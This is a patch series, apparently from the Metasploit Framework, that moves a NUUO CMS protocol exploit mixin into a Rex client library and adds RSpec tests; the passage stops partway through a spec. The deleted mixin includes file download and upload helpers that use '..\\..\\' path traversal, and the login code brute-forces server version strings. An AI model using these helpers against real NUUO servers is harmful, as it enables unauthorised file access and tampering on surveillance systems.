From 028890ec51e5a817b90ca58df7bb5bf68a4d840a Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 14 Feb 2019 22:00:38 -0600 Subject: [PATCH 01/16] Move ncs mixin code to rex --- lib/msf/core/exploit/mixins.rb | 2 +- lib/msf/core/exploit/nuuo.rb | 125 +++++++++++++++ lib/msf/core/exploit/remote/nuuo.rb | 196 ----------------------- lib/rex/proto/nuuo.rb | 8 + lib/rex/proto/nuuo/client.rb | 231 +++++++++++++++++++++++++++ lib/rex/proto/nuuo/client_request.rb | 113 +++++++++++++ lib/rex/proto/nuuo/constants.rb | 45 ++++++ 7 files changed, 523 insertions(+), 197 deletions(-) create mode 100644 lib/msf/core/exploit/nuuo.rb delete mode 100644 lib/msf/core/exploit/remote/nuuo.rb create mode 100644 lib/rex/proto/nuuo.rb create mode 100644 lib/rex/proto/nuuo/client.rb create mode 100644 lib/rex/proto/nuuo/client_request.rb create mode 100644 lib/rex/proto/nuuo/constants.rb diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index f0a62cbe8629..98bee4274f15 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -125,4 +125,4 @@ # Other require 'msf/core/exploit/windows_constants' -require 'msf/core/exploit/remote/nuuo' +require 'msf/core/exploit/nuuo' diff --git a/lib/msf/core/exploit/nuuo.rb b/lib/msf/core/exploit/nuuo.rb new file mode 100644 index 000000000000..72aff1f2f0f6 --- /dev/null +++ b/lib/msf/core/exploit/nuuo.rb @@ -0,0 +1,125 @@ +require 'msf/core/exploit/tcp' +require 'rex/proto/nuuo' + +### +# +# This module exposes methods that may be useful to exploits that deal with +# servers that speak Nuuo NUCM protocol for their devices and management software. +# +### +# NUUO Central Management System (NCS) +module Msf +module Exploit::Remote::Nuuo + # + # Creates an instance of an Nuuo exploit module. + # + def initialize(info = {}) + super(update_info(info, + 'Author' => + [ + 'Pedro Ribeiro ' + ], + )) + + register_options( + [ + Opt::RHOST, + Opt::RPORT(5180), + OptString.new('NCSSESSION', [false, 'Session number of logged in user']), + OptString.new('NCSUSER', [false, 'NUUO Central Management System username', 'admin']), + OptString.new('NCSPASS', [false, 'Password for NCSUSER',]) + ], Msf::Exploit::Remote::Nuuo) + + register_advanced_options( + [ + OptString.new('NCSVERSION', [false, 'Version header used during login']), + OptBool.new('NCSBRUTEAPI', [false, 'Bruteforce Version header used during login', false]), + OptBool.new('NCSTRACE', [false, 'Show NCS requests and responses', false]) + ], Msf::Exploit::Remote::Nuuo) + end + + def connect(global=true) + c = Rex::Proto::Nuuo::Client.new({ + host: datastore['RHOST'], + username: datastore['NCSUSER'], + password: datastore['NCSPASS'], + user_session: datastore['NCSSESSION'] + }) + + client.close if self.client && global + self.client = c if global + + c + end + + def ncs_send_request(req) + if datastore['NCSTRACE'] + print_status("Request:\r\n#{req.to_s}") + end + + res = client.send_recv(req) + + if datastore['NCSTRACE'] + print_status("Response:\r\n#{res}") + end + + res + end + + def ncs_login + unless datastore['NCSVERSION'] || server_version + if datastore['NCSBRUTEAPI'] + vprint_status('Bruteforcing Version string') + self.server_version = ncs_version_bruteforce + else + print_error('Set NCSBRUTEAPI to bruteforce the Version string or NCSVERSION to set a version string') + return nil + end + end + + self.server_version ||= datastore['NCSVERSION'] + unless server_version + print_error('Failed to determine server version') + return nil + end + + req = client.request_userlogin({ + 'server_version' => server_version + }) + + res = ncs_send_request(req) + if res =~ /User-Session-No: ([a-zA-Z0-9]+)/ + self.user_session = $1 + end + + res + end + + def ncs_version_bruteforce + res = '' + Rex::Proto::Nuuo::Constants::VERSIONS.shuffle.each do |version| + req = client.request_userlogin({ + 'server_version' => version + }) + begin + res = ncs_send_request(req) + rescue + print_error('The connection was closed') + end + + client.close + if res =~ /User-Session/ + vprint_good("Valid version detected: #{version}") + return version + end + res = '' + end + + return nil + end + + attr_accessor :client + attr_accessor :server_version + attr_accessor :user_session +end +end diff --git a/lib/msf/core/exploit/remote/nuuo.rb b/lib/msf/core/exploit/remote/nuuo.rb deleted file mode 100644 index 6b88ffd5b1a3..000000000000 --- a/lib/msf/core/exploit/remote/nuuo.rb +++ /dev/null @@ -1,196 +0,0 @@ -require 'msf/core/exploit/tcp' - -### -# -# This module exposes methods that may be useful to exploits that deal with -# servers that speak Nuuo NUCM protocol for their devices and management software. -# -### -module Msf -module Exploit::Remote::Nuuo - include Exploit::Remote::Tcp - - # - # Creates an instance of an Nuuo exploit module. - # - def initialize(info = {}) - super(update_info(info, - 'Author' => - [ - 'Pedro Ribeiro ' - ], - )) - - register_options( - [ - Opt::RHOST, - Opt::RPORT(5180), - OptString.new('SESSION', [false, 'Session number of logged in user']), - OptString.new('USERNAME', [false, 'Username to login as', 'admin']), - OptString.new('PASSWORD', [false, 'Password for the specified user', '']), - ], Msf::Exploit::Remote::Nuuo) - - register_advanced_options( - [ - OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']), - ]) - - @nucs_session = nil - - # All NUCS versions at time of release - # Note that these primitives are not guaranteed to work in all versions - # Add new version strings here - # We need these to login; - # when requesting a USERLOGIN we need to send the same version as the server... - @nucs_versions = - [ - "1.3.1", - "1.3.3", - "1.5.0", - "1.5.2", - "1.6.0", - "1.7.0", - "2.1.0", - "2.3.0", - "2.3.1", - "2.3.2", - "2.4.0", - "2.5.0", - "2.6.0", - "2.7.0", - "2.8.0", - "2.9.0", - "2.10.0", - "2.11.0", - "3.0.0", - "3.1.0", - "3.2.0", - "3.3.0", - "3.4.0", - "3.5.0" - ] - - @nucs_version = nil - end - - - ## - # Sends a protocol message aynchronously - fire and forget - ## - def nucs_send_msg_async(msg) - begin - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) - sock.write(format_msg(msg)) - # socket cannot be closed, it causes exploits to fail... - #sock.close - rescue - return - end - end - - - # Sends a protocol data message synchronously - sends and returns the result - # A data message is composed of two parts: first the message length and protocol headers, - # then the actual data, while a non-data message only contains the first part. - ## - def nucs_send_msg(msg, data = nil) - ctx = { 'Msf' => framework, 'MsfExploit' => self } - sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx }) - sock.write(format_msg(msg)) - if data != nil - sock.write(data.to_s) - end - res = sock.recv(4096) - more_data = '' - if res =~ /Content-Length:([0-9]+)/ - data_sz = $1.to_i - recv = 0 - while recv < data_sz - new_data = sock.recv(4096) - break if !new_data || new_data.length == 0 - more_data << new_data - recv += new_data.length - end - end - # socket cannot be closed, it causes exploits to fail... - #sock.close - return [res, more_data] - rescue - return ['', ''] - end - - - ## - # Downloads a file from the CMS install root. - # Add the ZIP extraction and decryption routine once support for it is added to msf. - ## - def nucs_download_file(filename, decrypt = false) - data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"]) - data[1] - end - - - ## - # Uploads a file to the CMS install root. - ## - def nucs_upload_file(filename, file_data) - data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data) - if data[0] =~ /200/ - true - else - false - end - end - - # logs in to the NUCS server - # first, it tries to use the datastore SESSION if such exists - # if not, it then tries to login using the datastore USERNAME and PASSWORD - # In order to login properly, we need to guess the server version... - # ... so just try all of them until we hit the right one - def nucs_login - if datastore['SESSION'] != nil - # since we're logged in, we don't need to guess the version any more - @nucs_session = datastore['SESSION'] - return - end - - @nucs_versions.shuffle.each do |version| - @nucs_version = version - - res = nucs_send_msg( - [ - "USERLOGIN", - "Version: #{@nucs_version}", - "Username: #{datastore['USERNAME']}", - "Password-Length: #{datastore['PASSWORD'].length}", - "TimeZone-Length: 0" - ], - datastore['PASSWORD'] - ) - - if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/ - @nucs_session = $1 - break - end - end - end - - private - ## - # Formats the message we want to send into the correct protocol format - ## - def format_msg(msg) - final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n" - for line in msg[1...msg.length] - final_msg += "#{line}\r\n" - end - if not final_msg =~ /USERLOGIN/ - final_msg += "User-Session-No: #{@nucs_session}\r\n" - end - return final_msg + "\r\n" - end - -end - -end diff --git a/lib/rex/proto/nuuo.rb b/lib/rex/proto/nuuo.rb new file mode 100644 index 000000000000..b1b6bd90f4e9 --- /dev/null +++ b/lib/rex/proto/nuuo.rb @@ -0,0 +1,8 @@ +# -*- coding: binary -*- + +# NUUO implementation + +#require 'rex/socket' +require 'rex/proto/nuuo/client' +require 'rex/proto/nuuo/client_request' +require 'rex/proto/nuuo/constants' diff --git a/lib/rex/proto/nuuo/client.rb b/lib/rex/proto/nuuo/client.rb new file mode 100644 index 000000000000..882ff4897441 --- /dev/null +++ b/lib/rex/proto/nuuo/client.rb @@ -0,0 +1,231 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module Nuuo +# This class is a representation of a nuuo client +class Client + # @!attribute host + # @return [String] The nuuo server host + attr_accessor :host + # @!attribute port + # @return [Integer] The nuuo server port + attr_accessor :port + # @!attribute timeout + # @return [Integer] The connect/read timeout + attr_accessor :timeout + # @!attribute protocol + # @return [String] The transport protocol used (tcp/udp) + attr_accessor :protocol + # @!attribute connection + # @return [IO] The connection established through Rex sockets + attr_accessor :connection + # @!attribute context + # @return [Hash] The Msf context where the connection belongs to + attr_accessor :context + # @!attribute ncs_version + # @return [String] NCS version used in session + attr_accessor :ncs_version + # @!attribute username + # @return [String] Username for NCS + attr_accessor :username + # @!attribute password + # @return [String] Password for NCS user + attr_accessor :password + # @!attribute user_session + # @return [String] ID for the user session + attr_accessor :user_session + # @!attribute config + # @return [Hash] ClientRequest configuration options + attr_accessor :config + + def initialize(opts = {}) + self.host = opts[:host] + self.port = opts[:port] || 5180 + self.timeout = opts[:timeout] || 10 + self.protocol = opts[:protocol] || 'tcp' + self.context = opts[:context] || {} + self.username = opts[:username] + self.password = opts[:password] + self.user_session = opts[:user_session] + + self.config = Nuuo::ClientRequest::DefaultConfig + end + + # Creates a connection through a Rex socket + # + # @return [Rex::Socket::Tcp] + # @raise [RuntimeError] if 'tcp' is not requested + def connect + return connection if connection + return create_tcp_connection if protocol == 'tcp' + raise ::RuntimeError, 'Nuuo Client: Unknown transport protocol' + end + + # Closes the connection + def close + if connection + connection.shutdown + connection.close unless connection.closed? + end + + self.connection = nil + end + + def send_recv(req) + send_request(req) + read_response + end + + def send_request(req) + connect.put(req.to_s) + end + + def read_response + connection.get_once + end + + def request_ping(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'PING' + + opts['headers']['User-Session-No'] = opts['user_session'] + + ClientRequest.new(opts) + end + + def request_sendlicfile(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'SENDLICFILE' + + opts['headers']['FileName'] = opts['file_name'] + opts['headers']['User-Session-No'] = opts['user_session'] + unless opts['data'] + opts['data'] = '' + end + opts['headers']['Content-Length'] = opts['data'].length + + ClientRequest.new(opts) + end + + # GETCONFIG + # FileName: + # FileType: 1 + # User-Session-No: + # @return [ClientRequest] + def request_getconfig(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'GETCONFIG' + + opts['headers']['FileName'] = opts['file_name'] + opts['headers']['FileType'] = opts['file_type'] || 1 + opts['headers']['User-Session-No'] = opts['user_session'] + + ClientRequest.new(opts) + end + + # COMMITCONFIG + # FileName: + # FileType: 1 + # Content-Length + # User-Session-No: + # + # filedata + # @return [ClientRequest] + def request_commitconfig(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'COMMITCONFIG' + + opts['headers']['FileName'] = opts['file_name'] + opts['headers']['FileType'] = opts['file_type'] || 1 + opts['headers']['User-Session-No'] = opts['user_session'] + unless opts['data'] + opts['data'] = '' + end + opts['headers']['Content-Length'] = opts['data'].length + + ClientRequest.new(opts) + end + + # USERLOGIN + # Version: + # Username: + # Password-Length: + # TimeZone-Length: 0 + # + # password + # @return [ClientRequest] + def request_userlogin(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'USERLOGIN' + + # Account for version... + opts['headers']['Version'] = opts['server_version'] + + username = '' + if opts['username'] && opts['username'] != '' + username = opts['username'] + elsif self.username && self.username != '' + username = self.username + end + + opts['headers']['Username'] = username + opts['username'] = username + + password = '' + if opts['password'] && opts['password'] != '' + password = opts['password'] + elsif self.password && self.password != '' + password = self.password + end + opts['headers']['Password-Length'] = password.length + opts['password'] = password + opts['data'] = password + + # Need to verify if this is needed + opts['headers']['TimeZone-Length'] = '0' + + ClientRequest.new(opts) + end + + # GETOPENALARM NUCM/1.0 + # DeviceID: + # SourceServer: + # LastOne: + # @return [ClientRequest] + def request_getopenalarm(opts={}) + opts = self.config.merge(opts) + opts['headers'] ||= {} + opts['method'] = 'GETOPENALARM' + + opts['headers']['DeviceID'] = opts['device_id'] || 1 + opts['headers']['SourceServer'] = opts['source_server'] || 1 + opts['headers']['LastOne'] = opts['last_one'] || 1 + + ClientRequest.new(opts) + end + + + private + + # Creates a TCP connection using Rex::Socket::Tcp + # + # @return [Rex::Socket::Tcp] + def create_tcp_connection + self.connection = Rex::Socket::Tcp.create( + 'PeerHost' => host, + 'PeerPort' => port.to_i, + 'Context' => context, + 'Timeout' => timeout + ) + end + +end +end +end +end diff --git a/lib/rex/proto/nuuo/client_request.rb b/lib/rex/proto/nuuo/client_request.rb new file mode 100644 index 000000000000..79d2e5da5af8 --- /dev/null +++ b/lib/rex/proto/nuuo/client_request.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- + +module Rex +module Proto +module Nuuo + +class ClientRequest + + DefaultConfig = { + # + # Nuuo stuff + # + 'method' => 'USERLOGIN', + 'server_version' => nil, + #'username' => nil, + #'password' => nil, + #'timezone' => nil, + 'data' => nil, + 'headers' => nil, + 'proto' => 'NUCM', + 'version' => '1.0', + 'file_name' => nil, + 'file_type' => nil, + 'user_session' => nil, + #'device_id' => nil, + #'source_server' => nil, + #'last_one' => nil, + } + + attr_reader :opts + + def initialize(opts={}) + @opts = DefaultConfig.merge(opts) + @opts['headers'] ||= {} + end + + def to_s + # Set default header: + req = '' + req << set_method + req << ' ' + req << set_proto_version + + # Set headers + req << set_header('server_version', 'Version') + #req << set_header('username', 'Username') + #req << set_length_header('password', 'Password-Length') + #req << set_length_header('timezone', 'TimeZone-Length') + req << set_header('file_name', 'FileName') + req << set_header('file_type', 'FileType') + #req << set_length_header('data', 'Content-Length') + req << set_header('user_session', 'User-Session-No') + + # Add any additional headers + req << set_extra_headers + + # Set data + req << set_body + end + + def set_method + "#{opts['method']}" + end + + def set_proto_version + "#{opts['proto']}/#{opts['version']}\r\n" + end + + # + # Return header + # + def set_header(key, name) + if opts['headers'] && opts['headers'].keys.map(&:downcase).include?(name.downcase) + return '' + end + + opts[key] ? set_formatted_header(name, opts[key]) : '' + end + + # Return length header + def set_length_header(key, name) + if opts['headers'] && opts['headers'].keys.map(&:downcase).include?(name) + return '' + end + + return '' unless opts[key] + set_formatted_header(name, opts[key].to_s.length) + end + + # + # Return additional headers + # + def set_extra_headers + buf = '' + opts['headers'].each_pair do |var,val| + buf << set_formatted_header(var,val) + end + + buf + end + + def set_body + return "\r\n#{opts['data']}" + end + + def set_formatted_header(var, val) + "#{var}: #{val}\r\n" + end + +end +end +end +end diff --git a/lib/rex/proto/nuuo/constants.rb b/lib/rex/proto/nuuo/constants.rb new file mode 100644 index 000000000000..0e06eada78b0 --- /dev/null +++ b/lib/rex/proto/nuuo/constants.rb @@ -0,0 +1,45 @@ +# -*- coding: binary -*- +module Rex + module Proto + module Nuuo + class Constants + VERSIONS = + [ + '1.3.1', + '1.3.3', + '1.5.0', + '1.5.2', + '1.6.0', + '1.7.0', + '2.1.0', + '2.3.0', + '2.3.1', + '2.3.2', + '2.4.0', + '2.5.0', + '2.6.0', + '2.7.0', + '2.8.0', + '2.9.0', + '2.10.0', + '2.11.0', + '3.0.0', + '3.1.0', + '3.2.0', + '3.3.0', + '3.4.0', + '3.5.0' + ] +=begin + FILE_BASE = 0 + FILE_IMAGES_MAP = 1 + FILE_TYPE = + [ + FILE_BASE, + FILE_IMAGES_MAP + ] +=end + end + end + end +end From f0dfc828031a2a773e85d29dc89d9f73ee2dd42e Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 19 Apr 2019 06:26:41 -0500 Subject: [PATCH 02/16] Add nuuo client request rex and spec --- lib/rex/proto/nuuo/client_request.rb | 30 +--- .../lib/rex/proto/nuuo/client_request_spec.rb | 135 ++++++++++++++++++ 2 files changed, 138 insertions(+), 27 deletions(-) create mode 100644 spec/lib/rex/proto/nuuo/client_request_spec.rb diff --git a/lib/rex/proto/nuuo/client_request.rb b/lib/rex/proto/nuuo/client_request.rb index 79d2e5da5af8..df7ebc9c2ab7 100644 --- a/lib/rex/proto/nuuo/client_request.rb +++ b/lib/rex/proto/nuuo/client_request.rb @@ -12,9 +12,6 @@ class ClientRequest # 'method' => 'USERLOGIN', 'server_version' => nil, - #'username' => nil, - #'password' => nil, - #'timezone' => nil, 'data' => nil, 'headers' => nil, 'proto' => 'NUCM', @@ -22,9 +19,6 @@ class ClientRequest 'file_name' => nil, 'file_type' => nil, 'user_session' => nil, - #'device_id' => nil, - #'source_server' => nil, - #'last_one' => nil, } attr_reader :opts @@ -43,12 +37,6 @@ def to_s # Set headers req << set_header('server_version', 'Version') - #req << set_header('username', 'Username') - #req << set_length_header('password', 'Password-Length') - #req << set_length_header('timezone', 'TimeZone-Length') - req << set_header('file_name', 'FileName') - req << set_header('file_type', 'FileType') - #req << set_length_header('data', 'Content-Length') req << set_header('user_session', 'User-Session-No') # Add any additional headers @@ -70,24 +58,12 @@ def set_proto_version # Return header # def set_header(key, name) - if opts['headers'] && opts['headers'].keys.map(&:downcase).include?(name.downcase) - return '' + unless opts['headers'] && opts['headers'].keys.map(&:downcase).include?(name.downcase) + return opts[key] ? set_formatted_header(name, opts[key]) : '' end - - opts[key] ? set_formatted_header(name, opts[key]) : '' - end - - # Return length header - def set_length_header(key, name) - if opts['headers'] && opts['headers'].keys.map(&:downcase).include?(name) - return '' - end - - return '' unless opts[key] - set_formatted_header(name, opts[key].to_s.length) + '' end - # # Return additional headers # def set_extra_headers diff --git a/spec/lib/rex/proto/nuuo/client_request_spec.rb b/spec/lib/rex/proto/nuuo/client_request_spec.rb new file mode 100644 index 000000000000..9d27676054a9 --- /dev/null +++ b/spec/lib/rex/proto/nuuo/client_request_spec.rb @@ -0,0 +1,135 @@ +# -*- coding:binary -*- +require 'rex/proto/nuuo/client_request' + +RSpec.describe Rex::Proto::Nuuo::ClientRequest do + subject(:client_request) { + opts = { + 'user_session' => user_session, + 'headers' => headers_hash, + 'data' => data + } + described_class.new(opts) + } + let(:user_session) {nil} + let(:headers_hash) {{}} + let(:data) {nil} + + describe '#to_s' do + context 'given no additional options' do + it 'returns a USERLOGIN request' do + expect(client_request.to_s).to eq("USERLOGIN NUCM/1.0\r\n\r\n") + end + end + + context 'given a headers hash' do + let(:headers_hash) {{ + 'TestHeader' => 'TestValue', + 'TestHeader1' => 'TestValue1' + }} + it 'dumps the headers after the method line' do + expect(client_request.to_s).to eq("USERLOGIN NUCM/1.0\r\nTestHeader: TestValue\r\nTestHeader1: TestValue1\r\n\r\n") + end + end + + context 'given a user_session and User-Session-No header' do + let(:user_session) {'0'} + let(:headers_hash) {{'User-Session-No' => '1'}} + + it 'prefers the User-Session-No in the headers hash' do + expect(client_request.to_s).to eq("USERLOGIN NUCM/1.0\r\nUser-Session-No: 1\r\n\r\n") + end + end + end + + describe '#set_method' do + it 'returns the method variable' do + expect(client_request.set_method).to eq('USERLOGIN') + end + end + + describe '#set_proto_version' do + it 'returns the protocol and version separated by /' do + expect(client_request.set_proto_version).to eq("NUCM/1.0\r\n") + end + end + + + describe '#set_header' do + + context 'given no user session number' do + let(:user_session) {nil} + + it 'returns an empty header' do + expect(client_request.set_header('user_session', 'User-Session-No')).to eq('') + end + end + + context 'given user session number' do + let(:user_session) {'987'} + + it 'returns a User-Session-No header' do + expect(client_request.set_header('user_session', 'User-Session-No')).to eq("User-Session-No: 987\r\n") + end + end + + context 'given a nonexistent key' do + it 'returns an empty header' do + expect(client_request.set_header('DoesNotExist', 'DoesNotExist')).to eq('') + end + end + + context 'given a key specified in the headers hash' do + let(:user_session) {'987'} + let(:headers_hash) {{'User-Session-No' => '1000'}} + + it 'returns an empty header' do + expect(client_request.set_header('user_session', 'User-Session-No')).to eq('') + end + end + + end + + describe '#set_extra_headers' do + context 'given an empty headers hash' do + it 'returns an empty string' do + expect(client_request.set_extra_headers).to eq('') + end + end + + context 'given a headers hash' do + let(:headers_hash) {{ + 'Header' => 'Value', + 'Another' => 'One' + }} + + it 'returns formatted headers' do + expect(client_request.set_extra_headers).to eq("Header: Value\r\nAnother: One\r\n") + end + end + end + + describe '#set_body' do + context 'given an empty body variable' do + it 'returns \r\n' do + expect(client_request.set_body).to eq("\r\n") + end + end + + context 'given body content' do + let(:data) {"test data"} + + it 'returns \r\n followed by the body content' do + expect(client_request.set_body).to eq("\r\ntest data") + end + end + end + + describe '#set_formatted_header' do + let(:name) {'HeaderName'} + let(:value) {'HeaderValue'} + + it 'creates a request header' do + expect(subject.set_formatted_header(name, value)).to eq("HeaderName: HeaderValue\r\n") + end + end +end From 7b807d4dce1808f995ea491db9f8dbb5e26de66a Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Fri, 19 Apr 2019 06:28:56 -0500 Subject: [PATCH 03/16] Add nuuo client rex and spec --- lib/rex/proto/nuuo/client.rb | 67 +-- spec/lib/rex/proto/nuuo/client_spec.rb | 537 +++++++++++++++++++++++++ 2 files changed, 577 insertions(+), 27 deletions(-) create mode 100644 spec/lib/rex/proto/nuuo/client_spec.rb diff --git a/lib/rex/proto/nuuo/client.rb b/lib/rex/proto/nuuo/client.rb index 882ff4897441..aeb4af8176c2 100644 --- a/lib/rex/proto/nuuo/client.rb +++ b/lib/rex/proto/nuuo/client.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'rex/proto/nuuo/client_request' + module Rex module Proto module Nuuo @@ -56,9 +58,9 @@ def initialize(opts = {}) # # @return [Rex::Socket::Tcp] # @raise [RuntimeError] if 'tcp' is not requested - def connect - return connection if connection - return create_tcp_connection if protocol == 'tcp' + def connect(temp: false) + return connection if connection && !temp + return create_tcp_connection(temp: temp) if protocol == 'tcp' raise ::RuntimeError, 'Nuuo Client: Unknown transport protocol' end @@ -72,25 +74,34 @@ def close self.connection = nil end - def send_recv(req) - send_request(req) - read_response + def send_recv(req, conn=nil) + send_request(req, conn) + read_response(conn) + end + + def send_request(req, conn=nil) + conn ? conn.put(req.to_s) : connect.put(req.to_s) end - def send_request(req) - connect.put(req.to_s) + def read_response(conn=nil) + data = conn ? conn.get_once : connection.get_once end - def read_response - connection.get_once + def user_session_header(opts) + val = nil + if opts['user_session'] + val = opts['user_session'] + elsif self.user_session + val = self.user_session + end end def request_ping(opts={}) opts = self.config.merge(opts) opts['headers'] ||= {} opts['method'] = 'PING' - - opts['headers']['User-Session-No'] = opts['user_session'] + session = user_session_header(opts) + opts['headers']['User-Session-No'] = session if session ClientRequest.new(opts) end @@ -100,11 +111,11 @@ def request_sendlicfile(opts={}) opts['headers'] ||= {} opts['method'] = 'SENDLICFILE' + session = user_session_header(opts) + opts['headers']['User-Session-No'] = session if session + opts['data'] = '' unless opts['data'] + opts['headers']['FileName'] = opts['file_name'] - opts['headers']['User-Session-No'] = opts['user_session'] - unless opts['data'] - opts['data'] = '' - end opts['headers']['Content-Length'] = opts['data'].length ClientRequest.new(opts) @@ -122,7 +133,8 @@ def request_getconfig(opts={}) opts['headers']['FileName'] = opts['file_name'] opts['headers']['FileType'] = opts['file_type'] || 1 - opts['headers']['User-Session-No'] = opts['user_session'] + session = user_session_header(opts) + opts['headers']['User-Session-No'] = session if session ClientRequest.new(opts) end @@ -142,10 +154,11 @@ def request_commitconfig(opts={}) opts['headers']['FileName'] = opts['file_name'] opts['headers']['FileType'] = opts['file_type'] || 1 - opts['headers']['User-Session-No'] = opts['user_session'] - unless opts['data'] - opts['data'] = '' - end + + session = user_session_header(opts) + opts['headers']['User-Session-No'] = session if session + + opts['data'] = '' unless opts['data'] opts['headers']['Content-Length'] = opts['data'].length ClientRequest.new(opts) @@ -167,7 +180,7 @@ def request_userlogin(opts={}) # Account for version... opts['headers']['Version'] = opts['server_version'] - username = '' + username = nil if opts['username'] && opts['username'] != '' username = opts['username'] elsif self.username && self.username != '' @@ -175,7 +188,6 @@ def request_userlogin(opts={}) end opts['headers']['Username'] = username - opts['username'] = username password = '' if opts['password'] && opts['password'] != '' @@ -183,9 +195,8 @@ def request_userlogin(opts={}) elsif self.password && self.password != '' password = self.password end - opts['headers']['Password-Length'] = password.length - opts['password'] = password opts['data'] = password + opts['headers']['Password-Length'] = password.length # Need to verify if this is needed opts['headers']['TimeZone-Length'] = '0' @@ -216,13 +227,15 @@ def request_getopenalarm(opts={}) # Creates a TCP connection using Rex::Socket::Tcp # # @return [Rex::Socket::Tcp] - def create_tcp_connection - self.connection = Rex::Socket::Tcp.create( + def create_tcp_connection(temp: false) + tcp_connection = Rex::Socket::Tcp.create( 'PeerHost' => host, 'PeerPort' => port.to_i, 'Context' => context, 'Timeout' => timeout ) + self.connection = tcp_connection unless temp + tcp_connection end end diff --git a/spec/lib/rex/proto/nuuo/client_spec.rb b/spec/lib/rex/proto/nuuo/client_spec.rb new file mode 100644 index 000000000000..a1db6bae79ec --- /dev/null +++ b/spec/lib/rex/proto/nuuo/client_spec.rb @@ -0,0 +1,537 @@ +# -*- coding:binary -*- +require 'rex/proto/nuuo/client' + +RSpec.describe Rex::Proto::Nuuo::Client do + subject(:client) { + described_class.new({ + protocol: protocol, + user_session: client_user_session, + username: client_username, + password: client_password + }) + } + let(:protocol) {'tcp'} + let(:client_user_session) {nil} + let(:client_username) {nil} + let(:client_password) {nil} + + describe '#connect' do + + context 'given udp option when created' do + let(:protocol) {'udp'} + + it 'raises an error' do + expect{client.connect}.to raise_error(::RuntimeError) + end + end + + context 'given temp is false' do + context 'when there is no connection' do + it 'returns a tcp connection' do + tcp_connection = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection) + + expect(client.connect).to eq(tcp_connection) + end + + it 'saves the tcp connection' do + tcp_connection = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection) + + client.connect + expect(client.connection).to eq(tcp_connection) + end + end + + context 'when there is saved connection' do + it 'returns the saved tcp connection' do + tcp_connection = double('tcp_connection') + client.connection = tcp_connection + + expect(client.connect).to eq(tcp_connection) + end + end + end + + context 'given temp is true' do + context 'when there is a saved connection' do + it 'returns a new connection' do + tcp_connection0 = double('tcp_connection') + tcp_connection1 = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection1) + + client.connection = tcp_connection0 + expect(client.connect(temp: true)).to eq(tcp_connection1) + end + + it 'does not overwrite existing connection' do + tcp_connection0 = double('tcp_connection') + tcp_connection1 = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection1) + + client.connection = tcp_connection0 + client.connect(temp: true) + expect(client.connection).to eq(tcp_connection0) + end + end + + context 'when there is no saved connection' do + it 'returns a new connection' do + tcp_connection = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection) + + expect(client.connect(temp: true)).to eq(tcp_connection) + end + + it 'does not save the connection' do + tcp_connection = double('tcp_connection') + allow(Rex::Socket::Tcp).to receive(:create).and_return(tcp_connection) + + client.connect(temp: true) + expect(client.connection).to be_nil + end + end + end + + end + + describe '#close' do + context 'given there is a connection' do + it 'calls shutdown on the connection' do + tcp_connection = double('tcp_connection') + allow(tcp_connection).to receive(:shutdown) {true} + allow(tcp_connection).to receive(:closed?) {false} + allow(tcp_connection).to receive(:close) {true} + client.connection = tcp_connection + + expect(tcp_connection).to receive(:shutdown) + client.close + end + + it 'calls closed on the connection' do + tcp_connection = double('tcp_connection') + allow(tcp_connection).to receive(:shutdown) {true} + allow(tcp_connection).to receive(:closed?) {false} + allow(tcp_connection).to receive(:close) {true} + client.connection = tcp_connection + + expect(tcp_connection).to receive(:close) + client.close + end + end + end + + describe '#send_recv' do + context 'given no connection is passed in' do + it 'uses client connection' do + tcp_connection = double('tcp_connection') + allow(tcp_connection).to receive(:put) + allow(tcp_connection).to receive(:get_once) + client.connection = tcp_connection + + expect(tcp_connection).to receive(:put) + client.send_recv('test') + end + end + + context 'given a connection is passed in' do + it 'uses the passed in connection' do + tcp_connection = double('tcp_connection') + passed_connection = double('passed_connection') + client.connection = tcp_connection + + allow(passed_connection).to receive(:put) + allow(passed_connection).to receive(:get_once) + + expect(passed_connection).to receive(:put) + client.send_recv('test', passed_connection) + end + end + end + + describe '#request_ping' do + subject(:ping_request) { + opts = {'user_session' => user_session} + client.request_ping(opts) + } + let(:user_session) {nil} + + it 'returns a PING client request' do + expect(ping_request.to_s).to start_with('PING') + end + + context 'given a user_session option' do + let(:user_session) {'test'} + + context 'when the client does not have a session' do + it 'uses the user_session option' do + expect(ping_request.to_s).to match('User-Session-No: test') + end + end + + context 'when the client has a session' do + let(:client_user_session) {'client'} + + it 'overrides the client session value' do + expect(ping_request.to_s).to match('User-Session-No: test') + end + end + end + + + context 'given no user_session is provided' do + context 'when the client does not have a session' do + it 'does not have a User-Session-No header' do + expect(ping_request.to_s).to_not match('User-Session-No:') + end + end + + context 'when 